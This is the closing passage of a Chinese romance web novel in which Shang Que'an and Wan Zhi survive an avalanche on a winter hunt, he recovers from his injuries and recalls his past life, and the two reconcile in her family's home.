商榷安虽不谈,实则心中眼见得期望妧枝再回到以前那样。
从上山以后,商榷安很早就起反应了,只是兴头正甚,而妧枝颇有期待,他不想扫了这次的兴,便装作不知情,而妧枝也不提,他便以为相安无事。
现在妧枝倏地这般直接开口,商大郎君如同上辈子那样,期望她再说点什么。
若当时妧枝强硬些,在商榷安离开新房时拦阻他追上来,那天夜里他也许就会被她带回房中,颠鸾倒凤。
“阿枝,下不去了。”商榷安道。
妧枝:“什么下不去?”
马背上,商榷安往前挺了挺,即使隔着厚实衣物,依旧感觉鲜明,意味着商榷安已经□□许久了。
妧枝:“……”
商榷安带妧枝到一处密林,倒没有离得太远,这座山中不仅有雪狐还有豺狼虎豹,商榷安马背上捆了不止一把箭,但还是小心为上。
妧枝:“做什么?”
商榷安:“累了吧阿枝,我们歇息下。”
妧枝:“什么?我不累,我觉着还好。”
但商榷安还是扶着她下了马,妧枝被迫跟着他去到一颗树后,这里的草木被白雪覆盖住,能为他们挡住大部分视角,即使有人看过来,也只会看到他们的衣角,而不能看清在做什么。
商榷安:“我好累,一直下不去好累。”
妧枝被商榷安抱住,却并未勉强,只是被困在树干前,又走不掉不能动弹。
而商榷安则一直在她耳畔抱怨一路上有多么不舒服,“想你了,阿枝。帮帮我。”
自从妧枝回了妧府,商榷安虽然日日都来,除了牵牵小手,偶尔讨得机会一亲芳泽,其余时候若是妧枝不开口,他留到夜里也会被赶出妧府,二人倒是一直没有逾越的举动。
没有强迫,这也是妧枝并不反对商榷安再来找她的理由。
人后,商榷安尚且不避讳向妧枝倾吐他对她有那方面的渴求,妧枝被他抱着周身也热了起来,但她尚且能够自持,只是有些腰软。
商榷安摸到了她的腰间,妧枝那处有些敏感。
妧枝:“你想我怎么帮?”
她开口,喉咙有些发涩,而商榷安在她耳畔说了句,二人对视,接着不约而同脸都红了。
这是在野外,虽然山中人少,但他们带来的人还在这附近。
万一碰见,实在说不清。
商榷安:“不会有人过来,今日他们会猎大头,想在我这处讨赏,没有人会不识趣来打扰我们。”
他眼神充满期待,背后是白茫茫的山林,商榷安生得一副好眉眼,他在这天地间好似画一般,既有武将英气又有文臣气度,俊美如白玉,堪称曲星下凡。
妧枝不由动了念,是她将这个不可一世,高处不胜寒的权臣拉下凡。
她默默伸出手,帮他解决。
商榷安先是一惊,后是一喜,嘴角边上扬的弧度总是下不去,那双冷漠视人的眼睛在她眼前既有欲色又有深情,渐渐林中这一小处出现动人轻呼和时不时难忍的小喘。
事后,过了许久。
一切都平静下来,妧枝和商榷安相互偎依,还能听见彼此间微粗的气息。
妧枝看着商榷安,他颇为餍足,“好舒服,但也好冷,阿枝你的手好凉。”
妧枝:“……”就该让商榷安冻掉算了。
第107章 生死。
山中无法待太久,且天晚之前就要下山,枕戈带着猎户等过来找他们时,商榷安正带着妧枝在一旁用雪搓手。
“妧娘子手脏了?属下这里有水,尚且有些余温。”枕戈拿出用几层非常厚实的牛皮制成的水囊递过去。
妧枝:“多谢。”
商榷安接过,枕戈还在好奇地在二人间张望。
妧枝搓着搓着就不好意思起来,她帮商榷安解决不久,他弄了她一手,而用衣物擦很容易会让人发现他们做了什么,尤其味道会较大。
用雪洗洗也不会一直黏在手上。
枕戈看着大郎君帮妧娘子洗手,又用帕子打湿了擦拭干净,那双玉指很快指尖通红,接触了空气中的寒意,轻轻微颤。
下一刻商榷安朝枕戈看来,“?”
枕戈:“老方和他长子烤了些肉吃,请大郎君和妧娘子过去。”
商榷安淡淡道:“你先去,我们随后就来。”
枕戈一边点头,一边后撤离开,只是还是想不明白,大郎君都不曾猎到猎物,妧娘子又为何需要净手呢?
而且两位之间的气氛,好像不可同日而语,妧娘子看大郎君的眼神,充满莫名的埋怨,但并不是真的生气。
大郎君在发现他窥探后,可没那么不高兴,目光锐利,却并没有责怪于他。
枕戈抱着不解的疑惑离去,等到他走远,妧枝才从包裹她手的商榷安那抽出来,用湿润的帕子擦过她手指后,商榷安担心她还会受冻,于是抓着她在手里暖了一会儿。
妧枝:“都怪你,麻烦死了,偏要在这乱来。”
商榷安:“可我一看见你便忍不住。”
妧枝抱怨起来也很可爱,看起来不食人间烟火,蹙眉很凶的样子,可躲避着商榷安的眼神,脸上的红晕从刚才起就没下去过,让人满脑子都是心猿意马的念头。
上辈子妧枝跟在平氏身边,母亲说什么便是什么,父亲乃一家之主,她那任由长辈安排的老实样子,商榷安早就想不顾一切,什么婚事,什么吉日,他连商唯真都抛之脑后,只想把她带走,关起来耳鬓厮磨了。
那时旁人看他只以为商榷安迟迟不肯给予回应,面冷又倨傲,应是不是很满意,实则在妧枝出现那一刻,他就有些晕眩了,更遑论今夕何夕。
妧枝:“……”
商榷安重新拉着她,往不远处生的火堆走去,马有灵性,且跟过商榷安多回,不需管束就会寻找同类,到一旁去吃粮草。
“大人,这是方才打的麂子肉,还有锦鸡、野兔……”麂子应是今日最大的猎物,猎户先片了一块最肥嫩的肉拿来炙烤,剩余的未免引来猛兽,会先埋在雪地里,附近也会设下陷阱,待到下山再挖出来带走。
妧枝被请到小马扎上坐下,今日上山猎户带的东西最多,只为伺候好同行的贵人。
商榷安将吃的放到妧枝跟前,随即吩咐枕戈,“去帮老方吧,下山后把今日的酬劳给他们。”
猎户与儿子去查看布下的陷阱了,枕戈跟过去帮忙,商榷安与妧枝便待在火堆处歇息用些吃食,补充体力。
妧枝被风吹着,面前有火到不觉得冷了,猎户的手艺不错,麂子的肉被烤的香味四溢,上面还涂抹了蜂蜜。
“等他们回来,我们就该下山了。”他们上山时已快隅中,待了近两个时辰,山中光阴流逝比城中更快,再不下山天很快就会黑,且会有更危险的猛兽出行。
妧枝吃饱点头,除去跟商榷安在野地里厮磨胡混,她玩得尚且尽兴,但在这等寒冷的天气中实在不适合久待。
就在商榷安吃完她吃剩的蜂蜜肉后,估摸着枕戈等人应该返程,商榷安旋即起身,走向坐骑去拿水喝。
就在此刻,林中一声巨响传来。
妧枝与商榷安同时惊讶望去,倏地就见周围出现奇怪响动,而他们的马匹停在原地不住抬腿发出嘶鸣想要离开。
很快出去的人影开始跑回来,猎户与长子朝着妧枝和商榷安的方向疾驰,而枕戈更从另一个方向冲过来,急迫地向他们示意,“跑——快跑,雪崩了,郎君!”
妧枝面色一变,商榷安已在察觉到不对之时,去到树旁将他们的马匹绳索都解下来,随即拉着妧枝将她快速抱上马,又去接应飞快奔逃的三人,其中火堆与猎物都置之不顾。
“商榷安。”
“阿枝,坐好在马上等我。”
山巅之雪崩塌,流速使人骇然,妧枝未曾经历过这等危险,在看到商榷安还扯着马去接应其他人时,心中即是震撼又不禁为他感到担忧。
幸而再将牵引给了枕戈等人后,他又立时返还,这回与妧枝同乘一匹马快速离开此地。
“大郎君,往东走!”枕戈带着猎户之子,有了马后快速分辨方向。
商榷安揽着妧枝,越过她腰间拽紧缰绳,安抚一声,“别怕,这就下山了。”
他眉色凝重,不如之前那么会恣意放松,今日本是想带妧枝出来玩乐,且雪猎这等乐趣他已计划有些时日,否则不会安排上猎户同行。
不成想会出现这种境况,他们一行人前后逃命飞驰,期间马儿慌乱受惊,差点踩上陷阱,好在离开了原先位置情势不如刚才那么危急,但离开山里更是刻不容缓。
在他们走开不久,妧枝偏头回望身后,只见他们曾待过的地方传来咯吱声响,参天般高度的树木都被山上崩塌的雪给碾压断了,还未有停下来的架势。
而前路亦有阻碍重重,惊鸟飞过,树木接连倒下,正巧就在妧枝与商榷安的身边,他在树干落下来的那一刻将妧枝压在身下,只听枕戈一声惊恐到极致的“大郎君!”,那日山中之行,犹如梦境。
往后很长一段日子里,妧枝夜里都会被惊醒。
商榷安为挡住危险将妧枝护在身下,而断裂的树干枝头恰好有一锋利之处,松刺划破商榷安面颊鲜血瞬间涌出,再近一些便能戳破他的眼珠。
而当时妧枝感觉到背上遭到一到重击,她听见商榷安没能抑制住的闷哼,渐渐闻到一股血的腥味,然而商榷安并没有让她看到他受伤时的情形,巩固住她的腰,语调忽慢且沉重下来,“没……事,我始终在你身后,别怕……”
直到逃下山去,离开险境路面平坦,妧枝才有机会朝身后看去,但那时与她同握的缰绳早已松开,而商榷安失血过多摊在她身上,没了声音。
……
是夜。
濉安王府气氛很静,四下不见仆从,周围灰蒙蒙一片似被乌云笼罩,如有浓雾一般,待到从长廊走近,才仔细看清,前面是一处灵堂。
不是没有下人,而是夜已深沉,哭丧的都已休息,而屋外挂着白惨惨的灯笼,才会越发显得清冷恐怖,但这些在商榷安眼里,一切都十分熟悉,且他好似上辈子就经历过。
眼前忽然出现一道身影,从他面前走过,对方也是个身形颀长的郎君,且背影与商榷安十足相似,步履姿态,周身气度别无二致。
唯一不同,是这个商榷安对他视而不见,根本没发现他的存在,且他周身笼罩着阴郁的气氛,在灰蒙且湿润的夜幕下,恍若雨天。
而他心中也湿了一片。
待那个“商榷安”步入灵堂后,商榷安紧跟在他身后,他的魂魄好似被他牵引,很快他便知晓那是谁的牌位,谁的棺椁。
就在那一刻,他仿佛一切都在跟着踏进这间屋子时变得清晰,意识回笼。
这是他的上辈子,妧枝病逝的第七日。
上一世,商榷安如何都不肯信妧枝轻易就那么死了,他自是知道她为妧家忙得心交力瘁,而他与薛瑥甫等人达成交易,多方协商,放话出去最好不要与她为难,她要查便查,给她个信念。
待到时日一久,她自会知道其中水深不易而放弃。
而他书房中也早已备好有关妧嵘及她家有关事宜的说辞,等到妧枝放弃的那一日,哪怕她不来找他,他都做好准备,将她阿母弟妹好生安置。
但似是芥蒂他与商唯真的关系,而他们之间已经许久不曾好好坐下甚至能心平气和说句话了,妧枝没有一次主动向他提过妧府的事。
她不打算向他寻求帮助,王府里经常迎来送往,大房的人大房自己管,不仅有濉安王的眼线,亦都在商榷安的掌握之中。
历常珽登门拜访濉安王妃,商榷安早有知情,他更从下属口中得知,妧枝与他有所接触,他甚至亲眼在暗处见过,二人当然没有不得体的逾越行为,但光是妧枝冲着别的男子笑,已叫他烧昏了头脑。
他仿佛又回到了初见她头晕目眩那日,有别于,他气昏了头,哪怕朝堂之上薛瑥甫示意手下臣子,指责他包庇岳父,以公谋私,有大半人都在弹劾他都不曾令他那般气血上头。
那是在意识到自己的感情后,商榷安前所未有的心慌。
甚至连历常珽雪中送炭,插手妧家一事,他都清楚,妧枝宁可寻求一个外人帮助,都不肯当面与他说道,这叫当时的商榷安如鲠在喉,心头的情绪难以平复。
但他从未想过妧枝会死。
他尚且想过,在过几日,待他气消,待他想好今后的日子该与她怎么修复,再主动到她跟前透露如何安置她弟妹阿母。
可终究他和妧枝都没等来那一日。
眼前的“商榷安”进了灵堂后便怔怔正对着妧枝的棺椁不动了,商榷安可以领会到他的心情,是他经历过的滋味,有埋怨有恨,后来亦不知是憎多点还是爱多一些。
情不知起而深,很快他看到面前这道身影终于有了动静。
“商榷安”推动了她的棺椁,他面容阴森,眼睑下处有青色阴影,眼中泛起血丝,那时他接连多日没睡过,从得知妧枝死讯起便仿佛失去生气。
“起来。”他对着里面的尸体叫。
“今日头七,你不是该还魂吗?妧枝,妧枝!给我起来!”他迫切希望她立即死而复生,但是里面的人依旧双眼紧闭,没了生机的躯体到死都僵硬,原来雪白细腻的肌肤都失去光泽,呈现淡淡的青色。
而所期望的一幕未能达成“商榷安”的心愿,他竟将尸体从里面捞了出来,人死不能复生,但俗世有言,只要找到懂得招魂法术之人,也不是没有希望。
很快在灵堂外熟睡的下人就被惊醒,一堆人前来阻拦,或去请濉安王等人,以免这场闹剧继续下去。
商榷安沉默注视着这一幕,与被拉扯住的“商榷安”透过灵魂对视。
那一刻他通红的眼里涌现出悔意,他想他明白了当时的心境。
如果能再见妧枝,期望他们之间不要再遇上,若她不能以爱与他交织,何不如就当从未在他面前出现过。
【全文完结】
第108章 否极泰来。……
后来,妧枝入土安葬,“商榷安”为她立碑,她的弟妹在坟头泣不成声,看他的眼神充满怨恨。
时年九月,宫中有变,太子与宰执发动乱党逆谋,圣人九死一生,而“商榷安”在营救路上被伏击。
那一刻所有爱恨都成了云烟,他并不怎么甘心闭上双眼,再醒时,又换了人间。
他站在东林寺的殿宇里,头上佛像悲悯众生,他好像度过了并不安稳的一生。
而他清晰地想起来,这辈子他与妧枝也是头一次在这里相遇。
他期望尽量能避开,脑子里毫无头绪,万分杂念侵袭,令他在下人催促下,头痛欲裂,语气也变得不好,“滚开。”
随后过了许久,周围没有了声音。
他从这里走出去,不期然看见另一头正往里走的一道身影,于是跟傻了般彻底愣在原地。
是妧枝。
“妧枝……”
他顷刻改变主意想追上去,却撞上一面透明的屏障,无论他如何呼喊远处人都不曾听见,他只能眼睁睁看着她冷漠走远。
不由地想到她躺在灵堂棺椁的模样,难道,难道又要这般天人永隔?
不,不行……他再次一头撞上去。
下一刻,在妧枝的灵堂前的“商榷安”与在东林寺的商榷安画面不断闪烁交换,耳畔犹有人在呼唤。
“榷安,榷安……”
“魂归来兮。”
顷刻间,他眼前如出现一阵镜花水月般的涟漪,随即整个魂魄像被吸走般,商榷安从这些错乱的回忆里被唤醒。
身体上的剧痛令他睁开双眼,率先能闻到的是房中温暖的气息,不乏药香,然后他还看到了始终坐在他床榻边守着他的女子,刹那间,商榷安感到热泪盈眶,心头涌起苦尽甘来的涩然痛意,“……我,对不起……”
从山上一路惊心动魄逃命下来,商榷安在妧枝身后失血过多倒了下去,等将人带回猎户家里,止了血上了药,妧枝方才回过神来。
但自此商榷安便一直未醒,妧枝便陪他在庄户上待了一日接一日,待到第七天时,城里的大夫被枕戈请了个遍,商榷安的下属焦躁不安,生怕商榷安就这么一睡不起。
而今日,妧枝如常在房中喂下商榷安喝完最后一口药,她趴在桌前寐了一会,忽然听见细微动静,于是赶忙来到商榷安的榻边,只见他双眼紧闭,眼珠不安滚动,额头上陡然冒出一层虚汗,嘴唇一直念念有词,却听不清他到底说的是什么。
妧枝只得帮他擦汗,一面出声安抚,“醒醒,榷安……”
待到商榷安彻底睁开眼,二人见面,恍如隔世,妧枝竟然听见他对她道:“……我,对不起你……”
要让商榷安和什么人认错低头,平生罕见,他的脊梁无坚不摧,秉性更是冷漠无情,而今无论嗓音如何沙哑,喉咙干涩,亦对妧枝说:“从前,愧对你,是我之过……你死后,我,我没有一日不在后悔……”
妧枝哑然,面上是听了商榷安的话难以掩盖的怔忪。
从前事,用道法的话说,身死道消,成忘眼云烟,她选择不去追求前尘因果,只因今生今世她该做的都已做了,不曾亏欠了谁,大仇得报,姻缘两尽。
若不是商榷安硬要强求,不管嫁不嫁历常珽,又或是与否能和他修成正果,妧枝都不觉得自己这辈子会不好过。
她本心坚定,爱我者生,恨我者死,就如不曾强求商榷安会理解她一般,他依旧被她吸引而爱上了她。
这是妧枝早有预料的结果,不为其他,只因她所做一切是对,更证明了商榷安曾经对她的念头想法是错。
她赢了这场爱恨之争,这是注定的结果。
但不曾想到,这场单方面的赌注,最终会迎来不可一世的商榷安的认可。
病榻之上,他坦然注视着她,有一股热泪凝聚在他悔悟眼眸深处,情深且专注,“……以前种种,是我之过,我承认……我甘愿为你低头,为你俯首,你的坚贞你的不屈令我发自肺腑……从此,我不会再小瞧于你,任何决定任何意动都是你身披的盔甲,只有你出现在我眼前,方能令我思绪寸断,原谅我,阿枝。”
曾经是他以小人之心轻视妧枝,她不就是来勾引他的?令他坚守不了本心,违背原则誓言,也是她教会他,人不可蒙昧其中,自欺欺人。
如今商榷安自甘沉沦在妧枝的陷阱中,已令其生欲其死,难以自拔。
天亮后,商榷安伤口愈合,恢复体力,下属们也终于能松了口气,不必辗转待在庄户,送妧枝与商榷安回城里。
但是到了城中,商榷安依旧不能像从前那样轻易动弹,还尚且需要休养,那棵树差点将他背上的骨头压断,且近乎刺穿他的胸膛,十分凶险。
自从宫变后,商榷安已与濉安王府分家划清界限,不相往来,他新购置的屋宅就在妧家附近的巷子里,虽然都已安排好,却冷冷戚戚,身边除了下属没有亲近之人守候。
平氏带着长子和次女与妧枝一同去探候就发现了,下属虽然跟了他许多年,但到底是下属,主仆间有规矩更不可能近身伺候,而商榷安身边更无婢女,让他一个人自己来就有诸多不便。
于是不禁感叹觉得他可怜,“这就算九尺男儿,有三头六臂,受了重伤也不可全身而退啊。”
商榷安一身病气样坐在椅子上,手持茶壶,“世母喝茶。”
“一时半刻,死不掉的,能捡回一条命已是幸事,只要阿枝无恙就好。”
他两眼平静而温顺地瞧着妧枝。
平氏:“父母又不在身旁,可怜啊,阿枝,你来照顾他吧。”
妧枝:“……”
平氏疑惑看去:“阿枝?”
妧枝:“这天气,白日里来去很麻烦啊,阿母。”
商榷安:“我这家宅才购置不久,的确许多方面都不方便,若是能在贵府上安顿下来就好了,我已许久未享受到像世母和弟妹这般天伦之乐的场面了。”
妧枝瞪眼,你再说?
商榷安乖乖闭上嘴,然而眼神却离不开她。
妧府比之商榷安,他有下属却无亲人,尚且算是孤家寡人,不像他们家除了父亲,姊妹团结,生母安康,的确热闹许多。
平氏心软的不行,加上这次听说是危难之际,商榷安付出性命护住长女,于是顺口便道:“那不如就请你到我们府上去,只要不嫌弃,也有个照应。”
妧枝:“阿母?”
商榷安迫不及待答应,“啊,那真是太好了,感谢世母给我这个机会。”
妧酨妧柔都没料到会是如此,面面相觑,家中要迎来这样一位客人?
妧枝更是冷眼看着商榷安,在他微笑之际别开脸,“去了也不一定照看你。”
商榷安似是半点都不在意妧枝此刻别扭,那日妧枝在他醒来后被他所说的话勾起往事回忆,面色动容,只是他们的隔阂长达两世,提及从前总不会轻易就一笔勾销。
但今生今世,只要他们还活着,便能重新开始。
商榷安在征得平氏点头同意后,很快搬离了自己独自居住的宅子,光明正大的登堂入室,还在妧家有了一间自己的屋子。
只是那间曾经是别人住过的,他竟不觉得嫌弃,依然安定留下,哪怕待到后日伤好痊愈,只要妧府的人不提,商榷安便不曾谈及离开。
……
冬雪终晴,地上积雪已开始化开,窗外枝头开始冒出新绿,还有鸟儿从巢里跳着踩在枝头上鸣叫,人间仿佛换了颜色。
又是一年伊始。
书房中,商榷安听着下属禀告事宜,收到一封从边关来,耽误了彷如经年数月的来信。
书信上写道,问候近来妧枝可好,当年约定,可该兑现了……来人不言而喻,姓谁名谁心知肚明。
当初历常珽在郡王府养伤,商榷安身为救命恩人前去探望。
在他的病房中,外面被拒绝接近的妧枝已经离开他门前,室内只剩商榷安及历常珽和他下属。
因商榷安不满历常珽那般对待妧枝,开口便言,“你既担心她嫌弃,自认已配不上她,那就给她个痛快。把阿枝归还于我。”
历常珽犹豫中做下决定:“我不想害了她,耽误她一世,但你也不一定就是她的良人……”
商榷安:“空口无凭,不如拭目以待。”
他们做下约定,历常珽养好伤后,必须前往边关,不得轻易回来,而京中便只剩商榷安在妧枝身边,若他能挽回妧枝,那么此生历常珽将不再回来。
而若不能,那么历常珽将带着妧枝离开。
然而,商榷安不曾想到历常珽会突然摆他一道,偏偏成就了与妧枝的婚事,若不是有了约定,不可置一时之气,商榷安方才忍让至今。
到现在,历常珽还会时不时来信打听,像这样的信都装在一个小匣子里,商榷安等待时机,总能将它们统统烧毁,让它们不见天日。
而这样的机会已经到来,他连那封信看都不愿多看,便让下属拿出一道火舌点燃蜡烛,随即那封燃烧起来的信丢进匣子中,待它冒出浓烟与火光,成为灰烬方才合上,让人收拾出去。
恰巧,他屋外来了一道身影。
妧枝尚未走近,便闻到一股焚烧的焦味,她嗅了嗅,走进屋来,“什么味道?着火了?”
她看向正要离去的商榷安的下属,对方用布裹着一个还散发着焦烟的匣子,朝她投以尴尬的微笑,小心谨慎地离开。
“那是什么?”她问。
“一些枢密院里留下的密信,用不上了,我让枕戈拿去烧毁。”
商榷安坦然自若回道,想伸手拉她到怀里坐下,却被妧枝在即将碰到之际避开,她回以得意得逞的笑,“你做什么?少乱来,我来叫你可不是为了让你动手动脚。”
“那是做什么?”商榷安收回手,虽失望却没有不满。
妧枝哼了一声,“阿母做了透花糍,让我叫你去吃,你爱去不去吧。还有,你什么时候搬走?伤养好了,该回你的宅子去了。”
商榷安对她这番模样爱看不够,无赖道:“世母都没赶我走,她不说,我就不走。我还想在此长住一辈子。”
妧枝大惊,“你想得到好!我这就去叫阿母来同你说,别再赖在我家了。”
她忙不迭转身离去。
而商榷安也在她出门之际抬步跟上,“阿枝。”他倏然将她叫住。
妧枝停下脚步。
商榷安对着她不敢回头的背影,目光流连于她的后脑勺。
“又要做什么啊?”她不耐地催促,脚尖已经不满踮着,但余光已经向他瞥来。
商榷安抓住时机,“我喜欢你。”
“我心悦于你。早就……”
他郑重提气,而妧枝一脸讶异,怔愣后旋即睫毛轻颤,不大自然地跑开了。
商榷安望着她的身影,缓缓吐露完心声,“早就沉沦在你的陷阱中,不可自拔了。”
过了会,走到半路,就在下一个路口,妧枝冒出头来回应,“就算你这般说,我也不会忘了告诉阿母赶你走!还想留在妧府,就把你的俸禄拿出来偿这些时日对你的照顾。”
她说完又消失了,话语却如余音绕梁,令商榷安忍俊不禁,不由露出既惊又喜的笑。
他忍不住回头往书房那处又看了一眼,眼中充满势在必得,他想边关那些信从今往后都不会在收到了。
而他也不会让妧枝知道,他对她的爱从来不够光明磊落,不少于算计,却始终全心全意。
而秘密……也将永远成为秘密。
全文完